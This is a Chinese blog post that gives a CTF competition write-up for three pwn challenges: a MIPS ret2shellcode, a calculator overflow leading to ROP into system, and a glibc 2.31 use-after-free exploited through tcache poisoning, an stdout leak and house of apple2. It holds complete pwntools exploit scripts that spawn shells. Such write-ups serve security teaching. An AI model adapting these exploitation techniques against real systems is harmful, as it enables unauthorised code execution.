2025浙江省省赛-决赛-wp

yfor

题目链接

1
https://github.com/yfor-yfor/-/tree/main/2025%E6%B5%99%E6%B1%9F%E7%9C%81%E7%9C%81%E8%B5%9B-%E5%86%B3%E8%B5%9B

前言

wp的内容都是比赛时的做法,只是为了快速的出题,并不一定是最好的解法

2,3题都有别的做法,可以去a1的公众号看一路生师傅的题解,写的很好

mips_pwn_challenge

一道mips 32位大端序题目

mips架构最大的特点就是不支持nx保护,同时这道题输入255就可以泄露栈地址

泄露栈地址后,调试返回地址与泄露地址的固定偏移打ret2shellcode即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
from bisect import *
context(arch="mips", os="linux", endian="big", word_size=32, log_level="debug")
io=remote("10.1.100.90",9999)
#io=process(argv=['qemu-mips','-L','/usr/mips-linux-gnu/','./pwn'])
#io=process(argv=['qemu-mips','-g','6666','-L','/usr/mips-linux-gnu/','./pwn'])

io.recvuntil(b'input number of magic\n')
io.sendline(b'255')
io.recvuntil(b'gift: ')
stack=int(io.recv(10),16)
shellcode=asm(shellcraft.sh())
offset=0x2c
payload=b'a'*(offset)+p32(stack+0x30)+shellcode
io.sendline(payload)
io.interactive()

easy calc

一道计算题,猜测漏洞点可能在数字与符号的组合中

模糊测试可以发现:不同的数字符号组合会在vuln函数的返回地址后留下不同的数据

而rsp+8的位置是我们整个计算的结果,所以可以通过-1再加上一个数字,造成上溢修改到rsp处的值也就是返回地址

在我的几个方案的测试后发现规律如下:

1
2
3
4
5
6
-1+a+((b-c)/1)+cd/d
最后的结果会是
rsp: a
rsp+8: b
rsp+16: c
rsp+24: d

知道了如何控制返回地址就开始我们的rop链构造

第一次构造pop rdi puts_got puts_plt main的链子,泄露libc并且重新计算一次

第二次构造pop rdi shell ret system的链子

由于这个控制方法的弊端是rsp+16处的值会是最后一个除法的商,就需要填入ret*system的结果,显然超过了p64的范围

因此换一条链子pop rdi shell system+offset 1的链子

这样最后的计算的除数是1就不会有影响了,只是为了满足64位栈堆平衡,需要取system后方一点的地方,让他少push一次,就可以满足平衡

可以自行测试别的组合的规律,能找到更适合更方便的构造方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context( arch="amd64", os="linux")
#io = process("./pwn")
io=remote("10.1.100.196",8888)
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
def dbg():
gdb.attach(io)
pause()

pop_rdi=0x402330
puts=0x401676
#溢出+和+末尾商+末尾除
payload=b'-1'
payload+=b'+'+str(pop_rdi).encode()
payload+=b'+('+str(elf.got['puts']-(elf.plt['puts']-4)).encode()+b'/1)'
payload+=b'+'+str((elf.plt['puts']-4)*0x401531).encode()
payload+=b'/'+str(0x401531).encode()

io.sendline(payload)
io.recvuntil(b'4214808\n')
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x84420
info("libc_base: "+hex(libc_base))
#dbg()
system=libc_base+libc.sym['system']-0x5be
sh=libc_base+next(libc.search(b'/bin/sh\x00'))
info(sh)
ret=libc_base+next(libc.search(asm('ret;'),executable=True))
payload=b'-1'
payload+=b'+'+str(pop_rdi).encode()
payload+=b'+('+str(sh-system).encode()+b'/1)'
payload+=b'+'+str(system).encode()
payload+=b'/'+str(1).encode()
io.sendline(payload)
io.interactive()

only_one

只有add和delete,有一次uaf的机会,2.31版本

因此,泄露必须要打stdout

之后的利用方法需要两个小技巧,算非预期,但是更快,更节省add次数

申请0-8的chunck,释放2-8填满tcachebin,释放1(uaf),再释放0,申请一个chunck,再释放1,让1进入tcachebin

此流程跟初赛pwn3流程一样,核心思路就是,要造成一个chunck同时在unsorted bin和tcache bin,必须先让他进入unsorted bin,再进入tcache bin,而进入tcache bin会破坏他的fd bk,所以用chunck0合并chunck1来保护unsorted bin

之后为了能够做到tcache poison,就需要两个chunck切割掉chunck0(因为申请跟chunck0大小相同的chunck,会从tcache bin中取)

这样我们的chunck0就因为unsorted bin的切割更新,有了libc地址作为fd bk,观察到他的fd与_IO_2_1_stdout_只有末两字节不同,因此覆盖末两位就可以,在开启了aslr的情况下有1/16的概率成功申请到_IO_2_1_stdout_

这时候用到技巧1:

我们之前申请的chunck都是0x100大小的,实际大小会是0x110,此时我们想要绕过tcache bin申请到他的话,可以申请0xf0大小,由于unsorted bin的机制,以及0x10大小的chunck是不存在的,所以会直接申请到这个堆块

这样就可以快速的修改他的fd了

技巧2:

我们不把目标地址改为_IO_2_1_stdout_,而是改为_IO_2_1_stderr_的chain上,这个chain指向的就是_IO_2_1_stdout_。这样子我们后续的申请就会先申请到chain的位置,再申请到_IO_2_1_stdout_的位置

而由于我们不会主动刷新程序执行流,也不会调用错误输出,_IO_2_1_stderr_即便受损也不会影响程序运行,直接暴力覆盖到_IO_2_1_stdout_开头,然后用p64(0xfbad1800)+p64(0)*3+p8(0)泄露libc

再一次申请就可以直接申请到_IO_2_1_stdout_了,此时打house of apple2即可在后续的menu中触发攻击链成功get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
context( arch="amd64", os="linux")
io=process('./pwn')
#io=remote("10.1.100.82",9999)
libc=ELF('./libc.so.6')
def dbg():
gdb.attach(io)
pause()
def cmd(choice):
io.recvuntil(b'> ')
io.sendline(str(choice).encode())
def add(size,data):
cmd(1)
io.recvuntil(b'yours Size: ')
io.sendline(str(size).encode())
io.recvuntil(b'Please enter yours Content: ')
io.send(data)
def delete(index):
cmd(2)
io.recvuntil(b'yours Index: ')
io.sendline(str(index).encode())
def only(index):
cmd(999)
io.recvuntil(b'only one for you: ')
io.sendline(str(index).encode())
for i in range(9):
add(0x100,b'aaa')#0~8
for i in range(7):
delete(2+i)#2~8 tcache
only(1)
delete(0)
add(0x100,b'aaa')#9
delete(1)


add(0x70,b'aaa')#10
add(0x80,b'aaa')#11

add(0xf0,p16(0x2628))#12


add(0x100,b'aaa')#13
#dbg()
payload=b'\x00'*(0x78)+p64(0xfbad1800)+p64(0)*3+p8(0)
add(0x100,payload)#14

io.recvline()
io.recv(8)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x1ec980
info(hex(libc_base))
stdout=libc_base+libc.sym['_IO_2_1_stdout_']
wfile_jumps=libc_base+0x1e8f60
io_file = flat(
b' sh;',
p32(0),
p64(0)*4,
p64(libc_base + libc.sym['system']), #_IO_write_ptr
p64(0)*11,
p64(libc_base +0x1ee7e0), #_IO_stdfile_1_lock
p64(0)*2,
p64(stdout - 0x40), #_wide_data
p64(0)*6,
p64(wfile_jumps) #vtable
)
#dbg()
add(0x100,io_file)


io.interactive()
  • Title: 2025浙江省省赛-决赛-wp
  • Author: yfor
  • Created at : 2025-11-16 13:53:23
  • Updated at : 2025-11-16 13:57:17
  • Link: https://yfor-yfor.github.io/2025/11/16/2025浙江省省赛-决赛-wp/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
2025浙江省省赛-决赛-wp